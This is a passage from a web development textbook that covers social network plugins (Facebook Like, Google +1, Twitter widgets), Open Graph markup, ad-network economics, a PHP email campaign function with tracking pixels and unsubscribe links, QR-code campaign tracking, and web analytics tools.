widget can be created using XFBML as illustrated in Listing 24.3. Note that
the markup should be placed in your HTML where you want it to appear. The
FB JavaScript code (from Listing 24.1) then parses and replaces this element
with the HTML markup for the Like button.



Listing 24.3 Facebook like plugin
using XFBML
<fb:like href=“http://funwebdev.com”  

         width=“450”  

         show_faces=“true”  

         send=“true”> 

</fb:like>

Note
Facebook used to have a markup language called FBML that was deprecated
in 2012. XFBML was somewhat related, and continues to be supported.
Unlike open standards, Facebook and other social networks change how their
APIs work at a moment's notice without any regard for standards such as the
ones we have with HTTP or SMTP. Facebook has introduced several
breaking changes over the years where code became invalid and stopped
working. Google on the other hand will just abandon unpopular projects.

XFBML is the primary way to create Facebook social plugins, since in the
authors' experience it is better supported than the more accessible HTML5.
Sometimes XFBML's extra functionality is essential when doing more
complex things than a Like button or comment box.

The beauty of social network integration is how by liking a page (by clicking
the button) a story will then appear in a user's newsfeed inside the Facebook
site talking about the page that they just liked. Newsfeeds are filled with
posts by a person's friends, meaning a like from one person will generate a
story that appears both on that person's home page and the newsfeeds of their
friends.

While the Like button works either way, how it appears in your newsfeed
will depend on the scraping that was done by Facebook. In our case, the



newsfeed item doesn't look great with a LinkedIn logo being the image for
the page, and the details being unclear (shown in Figure 24.8 ).



Figure 24.8 Screenshot of story
on a Facebook newsfeed
generated in response to
clicking Like

Figure 24.8 Full Alternative Text

To control what Facebook uses when displaying items in your newsfeed, you
must use Open Graph semantic tags to create Open Graph Objects in your
HTML pages, which is covered in a later section.

Follow Button

Hands-on Exercises Lab 24
Exercise
Follow Button

To illustrate how easy subsequent social plugins are to create, consider
adding the Follow Me button, which allows a Facebook user to follow a
Facebook page, by simply adding the XFBML code shown in Listing 24.4
into your webpage.



Listing 24.4 Facebook Follow Me
button social plugin
<fb:follow  

     href=“https://www.facebook.com/fundamentalsOfWebDevelopment” 

     width=“450”  

     show_faces=“true”> 

</fb:follow>

Comment Stream
Comments are an important aspect of a modern website. It's interesting that
many media companies have adopted Facebook comments over in-house
systems to try and eliminate anonymous commenters. The code for the social
widget takes only one parameter, the page being commented on, as illustrated
in Listing 24.5.

Listing 24.5 Comment social widget
<fb:comments  

     href=“http://funwebdev.com” width=“470”> 

</fb:comments>

24.2.3 Open Graph
Open Graph (OG) is an API originally developed by Facebook, which is
designed to add semantic information about content as well as provide a way
for plugin developers to post into Facebook as registered users. A complete
specification is available,2 although by now with the various markup
languages you've seen, it should be easy to understand.



Open Graph makes use of actors, apps, actions, and objects, as illustrated in
Figure 24.9 .

Figure 24.9 Illustration of Open
Graph's actors, apps, actions,
and objects

Figure 24.9 Full Alternative Text

The actor is the user logged in to Facebook, perhaps clicking on your Like
button.

The app is preregistered by the developer with Facebook. Upon registration,
Facebook will generate a unique secret and public key for use in your code,
which can then be reflected inside Facebook as part of the newsfeed item.

The actions in Open Graph are the things users can do, for example, post a
message, like a page, or comment on an article.

Objects are the most accessible and important part of the Open Graph API.
Objects are webpages, but they have additional semantic markup to give
insight into what the webpage is about. By putting the Open Graph markup in
the head of your page, you can control how the Like appears in people's
newsfeed.

You can test your URL by visiting the Facebook Open Graph Object



debugger:

https://developers.facebook.com/tools/debug/og/ 

   object?q=funwebdev.com

The output, shown in Figure 24.10 , provides some concrete feedback about
how to improve your newsfeed item, but requires knowledge of the Open
Graph meta tags.



Figure 24.10 Output of the
Facebook Open Graph
Debugger and best guesses it
will make

Figure 24.10 Full Alternative Text

Open Graph Meta Tags
To use Open Graph markup, you must first add the prefix modifier to your
<head> tag as shown in Listing 24.6. After that, <meta> tags about the
application, title, and image can be used to set the values of items in the
improved newsfeed item shown in Figure 24.11 .





Figure 24.11 Annotated
relationship between some
Open Graph tags and the story
that appears in the Facebook
newsfeed in response to liking a
page

Figure 24.11 Full Alternative Text

Listing 24.6 Open Graph Markup to
add semantic information to your
page
<head prefix=“og: http://ogp.me/ns#”> 

<meta property=“og:locale” content=“en_US”> 

<meta property=“og:url” content=“http://funwebdev.com/”> 

<meta property=“og:title” content=“Fundamentals of Web Development”> 

<meta property=“og:site_name” content=“Fun Web Dev”> 

<meta property=“og:description” content=“Randy Connolly and Ricardo

                Hoar are working on a book”> 

<meta property=“og:image” content=“http://funwebdev.com/wp- 

                content/uploads/2013/01/logo.png”>  

<meta property=“og:image:type” content=“image/png”>  

<meta property=“og:image:width” content=“424”>  

<meta property=“og:image:height” content=“130”> 

<meta property=“og:type” content=“book”> 

</head>



Note
The details of exactly what will appear where depends on many things,
including the OS you are using, the browser, and the latest changes to
Facebook's interpretation of these Open Graph items. The authors can attest
that from time to time things that worked correctly one day might change the
next, as Facebook updates how the Open Graph data is used in the newsfeed.

24.2.4 Google's Plugins
Google's social network is one of the newer entrants in the social-networking
space. Integrating Google+ into your sites follows some of the same high-
level strategies as Facebook, but is actually easier because it makes use of the
existing Open Graph meta tags in your pages and does not require app
registration.3

The +1 Button
Google's +1 button is similar to Facebook's Like button as can be seen in
Figure 24.12 .

Figure 24.12 Screenshot of the
Google +1 button



The code to add this button is similar to that already shown for adding a
Facebook Like button (shown in Listing 24.7).

Listing 24.7 Code to load the Google
JavaScript library and add the +1
button
<script type=“text/javascript”  

   src=“https://apis.google.com/js/plusone.js”> 

</script> 

<g:plusone href='http://funwebdev.com'></g:plusone>

The complete list of attributes you can pass to the <g:plusone> tag is
available from Google.4 Some of the key attributes are:

href: defaults to the current URL. Required if you want to like a URL
other than the one you are on.

size: Choose one of small, medium, tall, or standard to change the size
of the button.

callback: This very useful parameter can tell the button to call on your
own JavaScript code when someone clicks the button. You could, for
example, reward a +1 click with a virtual coin or some feature on your
site to encourage people to click.

The Google Badge
Google's badges can be created for pages, communities, or your own personal
profile. Again, being very similar to Facebook, Google's badges are like
Facebook's Follow, in that they link user actions to a page in the SN.

Widely configurable between large and small badges, an example badge for
our Google page is shown in Figure 24.13 , generated by the markup in



Listing 24.8. The unique ID in the URL is generated by Google for your
page.

Figure 24.13 Google+
combination badge for the
Google+ page

Figure 24.13 Full Alternative Text

Listing 24.8 Markup to add a
Google+ badge
<g:page 

     href=“https://plus.google.com/+FunWebDev”> 



</g:page>

The badge replaces the +1 button since the badge contains a +1 button within
it. Other simple social plugins implemented by Google+ follow a very similar
pattern. Share, follow, and login widgets can all be added and tweaked in a
similar way.

Snippets
One of the great strengths of Google+ is its desire to be interoperable with
existing social networks. Not only are common social widgets implemented,
but the technique to control what shows up in your +1 posts leverages the
same Open Graph API that Facebook uses. That means the <meta> tags from
Listing 24.6 would work just as well in Google+ as they do in the Facebook
feed.

Since multiple social networks support the Open Graph API, our examples
will use that markup exclusively, but as techniques evolve, that may or may
not remain the best practice.

24.2.5 Twitter's Widgets
Twitter has always taken a more minimalist approach to its offerings
compared to the other social networks. Its simplicity is part of why it is so
widely adopted.

Like Facebook and Google, Twitter follows the same pattern of including a
JavaScript library and then using tags to embed simple social widgets.
However, Twitter has a different approach to embedding social widgets into a
page. They prefer most users paste code from a box, rather than try to explain
how to create widgets. The code to get started with widgets is thus
purposefully compressed and hard to read, but it asynchronously loads the
library in Listing 24.9, similar to Facebook's asynchronous load.



Listing 24.9 Obfuscated Twitter
code to load the Twitter widget
JavaScript libraries
<script> 

!function(d,s,id){var  

js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)? 

  'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.

  id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.

  insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs'); 

</script>

Once this code is loaded, you can readily create several common Twitter
widgets including the Follow Me button, Tweet This button, embedded
timelines, and more.

Tweet This Button
The most common Twitter action you tend to see is people tweeting about an
article or video by embedding the URL into the tweet. The Tweet This
button does exactly that and it is the easiest of all the widgets to add with
nothing to change when embedded from page to page. The button in Figure
24.14 requires the markup in Listing 24.10.

Figure 24.14 The Tweet button

Listing 24.10 Tweet This button
markup to create a tweet with



hashtag web
<a href=“https://twitter.com/share”  

   class=“twitter-share-button”  

   data-hashtags=“web”> 

Tweet</a>

Follow Me Button
The Follow Me button (shown in Figure 24.15 ) is just as straightforward.
Simply create an <a> tag with the Twitter URL of the account to follow as the
href attribute, and use the class twitter-follow-button as illustrated in Listing
24.11. Having people follow you means that they will see your posts in their
stream and can exchange personal messages. The more followers you have,
the wider your potential reach.

Figure 24.15 Twitter Follow
button

Listing 24.11 Markup to define a
Follow button for Twitter
<a href=“https://twitter.com/FunWebDev”  

   class=“twitter-follow-button”  

   data-show-count=“false”>Follow @FunWebDev 

</a>

Twitter Timeline



The most recognizable thing in Twitter is the display of the last few tweets by
a particular person, often used in the sidebar of your site as shown in the
preview pane in Figure 24.16 .

Figure 24.16 Screenshot of the
Twitter Widget code generator

Figure 24.16 Full Alternative Text

The code, shown in Listing 24.12, uses not only the user's Twitter URL, but
an additional field that cannot simply be guessed: the data-widget-id field.



Twitter generates this field only when requested by a user through the web
interface (Settings > Apps) as shown in Figure 24.16 . That means you cannot
simply create timeline feeds for anyone whose ID you know, unless they
agree to go through the process of defining this widget on your behalf.

Listing 24.12 Markup to embed a
Twitter Timeline in your site
<a class=“twitter-timeline”   

   href=“https://twitter.com/FunWebDev”   

   data-widget-id=“365338105127002112”> 

Tweets by @FunWebDev</a>

24.2.6 Advanced Social Network
Integration
Each of the big three social network's social widgets or plugins use the same
software pattern, namely, you load some JavaScript from their servers onto
your page and let them worry about all the rest. For the vast majority of
websites these basic tools are more than enough. However, with few
customization options, it is hard to build complex social interactions with
only simple likes, follows, and shares.

If your web application actually offers some sort of service aside from blog
posts and static pages, you might want to consider integrating more
completely with social networks. To do this, you will have to make use of
server-side APIs (written in PHP and other languages), which allow your
server to act as an agent on behalf of users logged in through your site as
shown in Figure 24.17 . Facebook apps (and games), as well as Twitter and
Google+ mashups, are a great way to extend the reach of your innovative
web apps more quickly by building on an existing platform. These APIs take
developers beyond the browser with mobile libraries for iOS and Android
platforms, in addition to web apps.





Figure 24.17 Illustration of an
integrated Facebook web game

Figure 24.17 Full Alternative Text

Describing the use of these proprietary APIs requires its own full chapter.
Google+,5 Facebook,6 and Twitter7 all publish a wide variety of APIs and
support materials to help get you started. With all the fundamental concepts
under your belt, building a custom integrated app is certainly a plausible next
step.



24.3 Monetizing Your Site with Ads
Often the issue of advertisements is ignored and even prohibited in academic
settings due to the complications of third-party ads on university-owned
servers and the like. If the social media section has taught us anything, it's
that a website can become worth millions of dollars, and many of those
millions of valuation are derived from projected advertising revenues.

Hands-on Exercises Lab 24
Exercise
Sign Up for Ad Network

24.3.1 Web Advertising 101
Relative to the 23 chapters that preceded it, advertising is not an especially
challenging technical topic. It does, however, require some insight into
business metrics and some technical integration with your existing web
applications.

If your site ever gets big enough, or is sufficiently local, you can create and
manage your own client accounts through your own home brew-advertising
network. You will have to sign up clients and cold-call local companies.
Tracking impressions, delivering ads, and reporting results will all be done
in-house. However, for the vast majority of the world, do it yourself means
no customers and no ad revenue.

Ad Networks



The vast majority of advertising is done through advertising networks. These
networks can manage thousands of customers, all wanting to pay for ads to
run on many sites. These companies profit by charging the customers more
than they pay site owners to run the ads. They normally offer site owners free
registration, and only pay out once a predefined threshold has been reached.

In web advertising there are three classes of party involved: the ad network,
the advertisers, and the website owners as illustrated in Figure 24.18 .

Figure 24.18 Relationship
between the parties in web
advertising

Figure 24.18 Full Alternative Text

The first step in serving ads is therefore to sign up as a website owner. (You



can sign up later as an advertiser as well if you want to.) You will need to
confirm your identity with a bank account and documentation for most top-
tier ad networks. After being confirmed, you will have to learn to navigate
the company's web portal. The most popular ad networks are shown in Figure
24.19 .

Figure 24.19 Distribution of the
most popular ad networks
(data courtesy of BuiltWith.com)

Figure 24.19 Full Alternative Text

Ad Types
There are many types of web advertisement that go beyond the basics such as
the dreaded pop-up and the popular interstitial ad (where you must see the ad
before proceeding to content). This section focuses on the three most
common types of advertisement served by major ad networks, namely
graphic, text, and dynamic.

Graphic ads are the ones that serve a static image to the web browser. The

http://BuiltWith.com


image might contain text and graphics, enticing the user to click the ad,
which will direct them to a URL.

Text ads are low bandwidth, since they are entirely text-based. Like graphic
ads, they too encourage the user to click and be directed to a destination
URL. They are popular due to their low bandwidth and low profile, which do
not take user attention away from the main content.

Note
More clicks result in more revenue for your site. You might consider going
all over town to surf to your website and click on all the ads to generate a few
dollars (never mind the money you spent on gas to drive around town).
Alternatively, you might mail all your users pleading to click the ads, to keep
the site afloat. Don't. It's called click fraud, and it costs millions of dollars
each year to advertisers. (You can ask them to turn off ad block plugins).

Although advertising networks detect and deter fraudsters, click fraud
remains a real threat to legitimate websites.

Dynamic ads are graphic ads with additional moving parts. This can range
from a simple animated GIF graphic ad all the way up to complex Flash
widgets or JavaScript, which allow interaction with the user right on your
page. These advertisements tend to have higher bandwidth and computation
needs and can be possible vectors for attack (XSS) if advertisers can upload
malicious code, as has happened to Facebook in 2011.8

Creating Ads
The actual advertisements are normally a little piece of JavaScript to embed
on your page. Getting your own particular code with your credentials and
selections is normally done through the web portal that controls your account.
While each particular advertising network is different, they usually have
similar code snippets. For example, the Google AdSense network generates



the snippet in Listing 24.13, you can clearly see some identifiers are required
to link the ad with your account.

Listing 24.13 Google AdSense
advertising JavaScript
<script async  

src=“//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js”> 

   </script> 

<!-- Ad --> 

<ins class=“adsbygoogle” 

     style=“display:inline-block;width:728px;height:90px” 

     data-ad-client=“YOUR_ID_HERE” 

     data-ad-slot=“3393285358”></ins> 

<script> 

(adsbygoogle = window.adsbygoogle || []).push({}); 

</script>

Although you might think you can tinker with the width and height, you
should not manipulate the ads directly, since they might be warped and not
look quite right. There are predefined sizes of ad, color schemes, and the like,
and you should browse your network's options to choose the one right for
your page.

24.3.2 Web Advertising Economy
In the world of web advertisements, there are a few long-standing ideas that
exist across all click-based advertising networks.

Web Advertising Commodities
The website owner can display ads in exchange for money. The website
owner has three commodities at his or her disposal: Ad Views, Ad Clicks,
and Ad Actions.



An Ad View (or impression) is a single viewing of an advertisement by a
surfer. It is based on one loading of the page and although there may be
multiple ads in the page, an impression is counted for each one.

An Ad Click is an actual action by a surfer to go and check out the URL
associated with an ad.

An Ad Action is when the click on the ad results in a desired action on the
advertiser's page. Advertisers may pay out based on a successful account
registration, survey completion, or product purchase, to name but a few.

Web Commodity Markets
With these commodities in mind, advertisers can pay for their ads using a
combination of Cost per Click, Cost per Mille, and Cost per Action
settings. The determination of where the ad appears depends on the
popularity of the term, and the cost other advertisers are willing to pay to
show up for that term. Auctions match up buyers and sellers as illustrated in
Figure 24.20 . In reality the auctions are automated, with the advertisers
agreeing to maximum and target values for CPC and CPM values for their
campaigns ahead of time. These values are coupled with daily budgets and
actual traffic to ensure advertisers can manage their spending while
simultaneously ensuring website owners (and the network) get as much as
possible from the advertisers.



Figure 24.20 Real-time auctions
and ad placements in an
advertising network

Figure 24.20 Full Alternative Text

As a publisher of ads on your site, you have almost no control over what ads
appear (you can blacklist domains, like your competitors, but that's about it).
You cannot simply demand 100 dollars per click on your website about
hamsters, because no one would be willing to pay. Conversely an advertiser
should not be able to get one-penny ads on your successful site, if the demand
from better advertisers willing to pay more is high.

The Cost per Click (CPC) strategy is to decide how much money a click is
worth, regardless of how many times it must be displayed.

Cost per Mille (CPM) means cost per thousand impressions/views of the ad.
Obviously this rate is lower than a CPC rate, since not every impression
results in a click. In modern ad networks, the relationship between the CPM
and the CPC is calculated as the click-through rate (CTR).

The Click-through Rate (CTR) is the percentage of views that translate into
clicks. A click-through rate of 1 in 1000 (0.1) is fairly normal in search
engine networks (social network ads tend to have much lower click-through
rates, like 0.05). The higher the click-through rate, the more effective the ad.
Low click-through rates may signify bad ads, or more likely, poor placement
on sites that do not relate to the content of the ad.

Cost per Action (CPA) relates the cost of advertisement to some in-house
action like buying a product, or filling out a registration form. By dividing the
number of actions by the total budget, you get the Cost per Action
(sometimes termed Cost per Acquisition).

In some advertising networks, you can sign up for CPA payment where you



are only paid when an ad results in a transaction. Needless to say this cost is
normally the highest, since a purchase of a car might well be worth thousands
of dollars to the company, as an extreme example. A more common example
is an iPhone app paying per install (acquisition of client). While certainly not
worth thousands of dollars, it might be worth a couple of quarters or more,
depending on the cost of the app.



24.4 Marketing Campaigns
Marketing is an entire discipline with many helpful and useful practices and
standards. To complement those ideas, this penultimate section shows some
simple techniques that require some technology support that will allow you to
manage and evaluate marketing campaign performance. Many of the
techniques you will learn about are automatically integrated in ad network
analytics, but require work to apply them elsewhere. While you've already
learned about advertising with ad networks, there are other techniques like
email campaigns and physical world campaigns that can apply many of the
same ideas.

24.4.1 Email Marketing
Email campaigns are a tried-and-true method of generating traffic for your
website. Mail-outs from a favorite store or magazine can encourage a repeat
visit, and a well-crafted email campaign can be a welcome addition to
people's inboxes. Most Customer Relationship Management (CRM) software
includes an email campaign component as part of the larger suite. Many
popular services like mailChimp manage these technical details for you
allowing non-technical users to manage campaigns.

Hands-on Exercises Lab 24
Exercise
Email Mailer

What's Allowed



Done poorly, email can be marked as spam, which can have negative
consequences, both in the form of email blacklisting, and reduced customer
satisfaction rates. Moreover, unsolicited emails sent in bulk are illegal in
many jurisdictions, meaning email campaigns must adhere to some best
principles (and laws).9

In general, you can only target customers who have opted in to receiving
such messages. A workaround is to buy emails from someone who got their
consent (and consent to sell their emails to others like you).

Just because someone has opted in to receive messages does not grant you the
right to send them messages forever. Every email campaign should contain a
one-click mechanism to allow recipients of your messages to opt out of future
emails. This mechanism is easily implemented as a link at the bottom of your
email. The resulting URL should immediately unsubscribe the user and
optionally allow them to make a comment. Do not make unsubscribing a
difficult process. Simply associate a unique value with the account, and
embed that token in a link to unsubscribe.

Every time your system generates an email to an existing customer, whether
that be for a password reset or a receipt of a purchase, there's a legitimate
opportunity to ensure that the email itself is well branded and contains the
elements described above. These existing relationships with clients and
customers are a great way to announce big changes and other rare events to
encourage them to visit the site again if they haven't in a while.

Automated Email Scripts
Every message that you send a user through email is a potential calling card,
which they could go back to anytime. The features of a good email are well-
formatted headers, alternate versions including HTML, opt-out links, and
tracking images to help measure performance. By creating your own PHP
scripts, you can create nicely formatted emails in a script that mails each user
in a database (or list) the same message with per-user customizations.

A PHP function, such as the one in Listing 24.14, can be used as part of a



larger email campaign. It defines both plaintext and HTML versions of a
message, with embedded tracking codes inside of all the links and images.

Pro Tip
Sending many individual emails to individuals using the to: field is far more
effective than sending one email to a large list via the to, cc, or bcc fields.
Sending to large lists of recipients not only loses the personal touch, but is a
hallmark of unsolicited spam, which may increase the chance that your
message is blocked.



Listing 24.14 PHP function to
encode and email a multipart email
message
function mailform($mailto, $subj, $messageID,  

                  $unsubcode, $accountID){ 

   //define values to use to format the email 

   $unsubLink=“http://funwebdev.com/unsub.php?id=$unsubcode  

               &userID=$accountID”; 

   $trackURL=“http://funwebdev.com/msg=$messageID  

              &userID=$accountID”; 

   $trackImg=“http://funwebdev.com/img.php?msg=$messageID  

             &userID=$accountID”; 

   //unique boundary string 

   $bound = uniqid(“FUNWEBDEV_MAIL_EXAMPLE”); 

   $rn = “\r\n”; 

   // define a plain (no HTML) footer to illustrate tracking 

   // link inclusion. 

   $plainfooter=“$rn$rn$trackURL$rn$rn”; 

   $plainfooter.=“---------------------$rn”; 

   $plainfooter.=“To unsubscribe from this campaign, please click the

                 following link.$rn”; 

   $plainfooter.=$unsubLink; 

   //now define an HTML version of the footer to illustrate web bugs

   $htmlfooter=“<br><br><a href='$trackURL'>funwebdev.com</a>”; 

   //hidden image. 

   $htmlfooter.=“<img src='$trackImg'>”;  

   $htmlfooter.=“<hr><br>”; 

   $htmlfooter.=“<p>To unsubscribe from this campaign, please click

                 the following link.</p>”; 

   $htmlfooter.=“<a href='$unsubLink'>$unsubLink</a>”; 

   // Override SMTP headers 

   $headers='From: System Administrator <donotreply@funwebdev. com

   $headers .= $rn; 

   $headers .= “MIME-Version: 1.0\r\n”;  //specify MIME ver. 1.0 

   //tell email client this email contains alternate versions 

   $headers.= “Content-Type: multipart/alternative”; 

   $headers.= “boundary = $bound”.$rn.$rn; 

   $headers.= “This is a MIME encoded message.”.$rn.$rn; 

   $message = …//Message TAKEN FROM DB based on messageID 

   //declare this is the plain text version 



   $headers .= “--$bound” . $rn . “Content-Type: text/plain”;  

   $headers .= “charset= ISO-8859-1”.$rn; 

   $headers .= “Content-Transfer-Encoding: base64”.$rn.$rn; 

   //actually output the plaintext version (base64 encoded) 

   $headers .= chunk_split(base64_encode($message.$plainfooter));

   $HTMLMessage =//Get HTML message from DB based on messageID 

   //declare we're about to add the HTML version 

   $headers .= “--$bound\r\n” . “Content-Type:  text/html”;  

   $headers .= “charset=ISO-8859-1”.$rn; 

   $headers .= “Content-Transfer-Encoding: base64”.$rn.$rn; 

   //actually output the plaintext version (base64 encoded) 

   $headers .= chunk_split(base64_encode($HTMLMessage.$htmlfooter));

   mail($mailto,$subj, “” ,$headers);  //the PHP mail function 

}

Security note
If you were paying attention, you may have noticed the From: header in
Listing 24.14 email was changed to send as do-not-reply@funwebdev.com.
You could have made that address be almost anything you wanted to since
forging the FROM: header is exactly that easy.

From Chapter 23, recall the advanced techniques like reverse DNS and
Sender Policy Framework, which reduce the chance that someone is
successfully able to masquerade as your domain. Despite these technologies,
anyone can pretend to be anyone in that header.

While a more abstract design might better modularize and encapsulate the
functionality with appropriate patterns, methods, and classes, that's left as an
exercise for the reader. It's important to expose you to the idea that email is
controlled entirely through headers, which are simple key-value pairs
separated by a colon. Indeed, even attachments are sent as part of the same
message.

Tracking Email Campaigns
Just because an email is sent does not mean it was read. Although read
receipts are one way to capture that data, they require deeper integration with

http://do-not-reply@funwebdev.com


the SMTP server than we have time for here. A better technique for tracking
reads is to embed graphics in the HTML versions of the messages that result
in requests for the image, which confirm the email was at least loaded as
illustrated in Figure 24.21 . This will exclude text-only readers, but they are a
minority who may not benefit from your full-marketing campaign anyway.

Figure 24.21 Annotated email
example for marketing
purposes

Figure 24.21 Full Alternative Text

Images that are included for tracking purposes are called web bugs or
tracking pixels, due to the fact that the image is usually 1 pixel in size and
serves no visual purpose except to gather data on users reading the email.

You may have noticed an image reference in Listing 24.14 to the following:

img.php?msg=$messageID&userID=$accountID



This image could easily map to a script that outputs the footer image to the
client's email but not before recording in a database that an email was viewed
(and by which user).

Further recording of user actions can be done by appending tokens in the
query string to the links in the email. That way those links can be associated
with the user, the campaign, and other parameters you wish to measure. This
technique is easily extended to the physical world with QR codes (covered
below).

Scheduled Mail Campaigns
One technique to try and engage existing customers is to set up a series of
emails ahead of time that get sent to each user after a specified period or
action. A simple example would be to send email one day after signing up,
another after a week, and a third after 30 days. Each message can take on the
tone appropriate for the amount of time elapsed.

In advanced configurations emails can be associated with user actions (or
inactions) through the aforementioned tracking techniques so that an email is
sent, for example, a few hours after a purchase. These techniques can be
combined with marketing campaigns that have different paths to send
different messages or actions based on user action or inaction.

24.4.2 Physical World Marketing
Advertising your virtual site in the physical world is a challenging
proposition. If your product is entirely online, then the goal of your
marketing is to get people to visit your website. Certainly your URL must be
memorable if you want it to be typed in later by interested parties who see a
physical billboard. Unfortunately, URLs cannot be clicked in the physical
realm, which severely limits how large of URLs you can print, and expect
people to remember.

If you want to somehow use a complex URL that contains a query string to



help track campaigns, you're out of luck since no one will ever type that in.
Shortened URLs may solve that issue, but are not memorable and not easy to
promote.

QR Codes
To enhance traditional print media, two-dimensional bar codes, called QR
codes, have become popular. They allow people with camera phones to snap
a picture of the code in order to be directed to a URL.

Hands-on Exercises Lab 24
Exercise
QR Codes

These physical world hyperlinks store redundant information in the pixels of
the image, so that even if partially damaged, they may be able to be
deciphered. The QR codes such as the one in Figure 24.22(a) contain some
redundancy so that the code can be partially obscured by branding as
exemplified in Figure 24.22(b) and still work. Try it!



Figure 24.22 QR code and the
same code obscured (but still
working)

While the mathematics involved are interesting, they are beyond the scope of
the average web developer (unless you want to build your own QR code
generator). There are many free services that will encode text to a QR code
for you, but be careful that the URL they encode is the same one you put in
(some sites redirect all requests through their own servers and redirect from
there, rather than enter the desired destination directly).

Tracking Physical Campaigns
Since QR codes allow you to encode rather long strings, you can generate
different URLs for different campaigns to check which one is more effective.

For example, you might be interested in learning which one of the two



billboards is more effective, and decide to run a small experiment. By using
two distinct URLs in the QR codes, say funwebdev.com/campaign1/ and
funwebdev.com/ campaign2/, you can then put the mock-up ads in public
and see which is more effective by tracking the traffic to the two URLs.

A more flexible alternative is to embed query strings with identifying
information into the URL for the same landing page. For example:

http://funwebdev.com/capmaign.php?refID=123

This way the query values can be stored in a database for analysis later, but
all visits result in seeing the same identical webpage as depicted in Figure
24.23 .



Figure 24.23 Illustration of
tracking a physical campaign
with multiple QR codes

Figure 24.23 Full Alternative Text



24.5 Search Engine Webmaster
Support Tools
Since being included in search results is so essential for a website to be
successful, the major search engines provide tools that furnish insight that
cannot be gained elsewhere. These tools may require you to register and
login, but they do not (always) require you to make changes to your
webpages or provide data, beyond what is already publically accessible.

24.5.1 Search Engine Webmaster
Tools
As we learned back in Chapter 23, search engines are complicated systems
that crawl websites and index them behind the scenes. Having access to
search engine systems that can tell you your site was crawled, how your site
is indexed, and what traffic is being directed to your pages is very useful. As
search engines change their weighting of various factors, these tools provide
feedback as warnings and messages to highlight ways you can improve your
site for the search engine's purposes. For instance, the screenshot in Figure
24.24 shows Bing's dashboard for our book's site; the listing on the left
illustrates the wide range of tools available.



Figure 24.24 Screenshot from
Bing's webmaster tools showing
a range of stats

Figure 24.24 Full Alternative Text

These tools provide information about:

Indexed terms and weights

Indexing errors that were encountered



Search ranking and traffic

Frequency of being crawled

Response time during the crawls

To sign up for these types of tools, go to www.google.com/webmasters/tools/
and http://www.bing.com/webmaster.

http://www.google.com/webmasters/tools/
http://www.bing.com/webmaster


24.6 Analytics
Analytics refers to the class of useful software tools that provide website
owners with data-driven information about their websites to help them make
and assess change to their sites. The ability to track whether a search engine
optimization has been successful, a marketing campaign had an impact on
traffic, or whether a new design is more effective in keeping visitors at the
site than an old one are all important questions that analytics can help provide
answers to.

Some examples of how analytics can be used include:

Tracking the bandwidth usage of each site you manage

Identifying the sites that are driving traffic to your site

Identifying popular URLs in your domain

Isolating and analyzing search engine crawler traffic

Seeing which search terms from search engines are being used to land
on your site

Identifying which pages are the most popular for arriving (landing
pages)

Tracking the flow of users as they click through your website

Categorizing visitors as new or returning (based on IP address, response
codes)

Whether you manage your own statistics through internal analytics packages,
rely on third party tools, or adopt a combination of both, analytics is an
increasingly important aspect of assessing and improving websites, making it
critical knowledge for the modern web development professional.



24.6.1 Metrics
The field of web analytics does analysis of data, and as such has spawned
some common measurements, or metrics, to help measure and compare
various aspects of web traffic. Most of these metrics are included in most
analytics packages, albeit to differing levels of sophistication.

Page Views is a count of all the times a page was requested, even if
requested multiple times by the same user/IP address.

Unique Page Views counts page views but limits it to one request per
page, per visit.

Average Visit Duration tells you how long people are spending on your
site. Longer visits indicate more engagement than shorter ones.

Bounce Rate is the term given to the percentage of visitors who leave
your site after visiting only one page. A high bounce rate means people
are not getting past the front page, but it does not tell you why.

24.6.2 Internal Analytics
Back in Chapter 22, you saw how your webserver could keep track of all the
requests over time using logging facilities. With all of those voluminous logs
in place, there's a lot of data that can potentially help you see patterns and
trends in the data requests. For instance, the user-agent header can easily be
parsed to determine the breakdown in the browser and operating systems
used by your visitors. You could also figure out how many IP addresses
appear more than once as return visitors, make some guesses about how long
users stayed on the site, or identify potential attacks on your server.

Hands-on Exercises Lab 24



Exercise
Configure an Analytics Package

Rather than write analysis scripts yourself, open source analysis packages
such as AWStats and Webalizer allow you to download software which
easily sets up periodic analysis of the log files to create bar graphs; pie charts;
and lists of top users, browsers, countries, and more—all viewable through
easy-to-use web interfaces as illustrated in Figure 24.25 .





Figure 24.25 Screenshot of the
top of the AWStats analytics
report

Figure 24.25 Full Alternative Text

Since these systems are relatively easy to set up and use, the details of their
installation are left as an exercise for the reader. Often times, in simple shared
hosting, these analytic tools are already installed and are accessible through
the hosting company's web portal.

24.6.3 Third-Party Analytics
Although internal analytics packages are a great option, third-party tools
provide an alternative that include all of the metrics available internally, and
much more sophisticated data that is only available through a larger network.
In addition, these systems also manage additional logins for your clients who
might want to access these statistics on their own. Third-party systems like
Google Analytics analyze the same sort of traffic data, but rather than collect
it from your server logs, they maintain their own logs which captures each
surfer's requests because you embed a small piece of JavaScript into each
page of your site that tracks each requests directly. The specific JavaScript
code to enable third party analytic tracking is provided to you directly from
the provider for easy copy and paste.

The advantage of third-party analytics is the increased power of these
systems and the ease of installation. The disadvantage is the lower accuracy
of data (people block scripts) and disclosure of potentially valuable traffic
information to the third party.

These tools are taking off in popularity, especially those offered by search



engines like Google and Bing, which provide integration with other tools.
Figure 24.26 shows the dashboard from Google Analytics, which as you can
see, provides not only standard analysis like traffic and country of origin, but
also integration with other tools.

Figure 24.26 A dashboard from



the Google Analytics tool
Figure 24.26 Full Alternative Text

Flow Analysis
One of the tools available from Google Analytics not yet available in the
open source packages is the ability to visualize how visitors flow through
your site. This lets you isolate traffic (by country, date, or browser) and see
how those users are arriving at your site, how long they are staying, and
which pathways through your site they are taking.

Figure 24.27 shows the traffic for the first half of 2016, breaks it into search,
organic and referral traffic, and then illustrates visually how users arrive,
leave, and move from page to page. Coupled with the ability to compare one
time range with another, these tools provide the ability to analyze your other
efforts to see if changes (structural, style, or content) have the desired impact
on traffic flow.



Figure 24.27 Showing where
users flow through and leave a
website.

Figure 24.27 Full Alternative Text



In-Page Analytics
Complementing the view from the flow analysis, Google offers an integrated
plugin for the Chrome browser that allows you to navigate your site and get
percentages from the traffic flow overlaid, as shown in Figure 24.28 . This
type of feedback can be illuminating, since the places people click are not
always obvious to those who designed the site. Seeing the places people click
can be informative to designers who may adjust their design to try and
improve retention (and then track whether that change was successful by
looking at traffic before and after).



Figure 24.28 In-Page Analytics
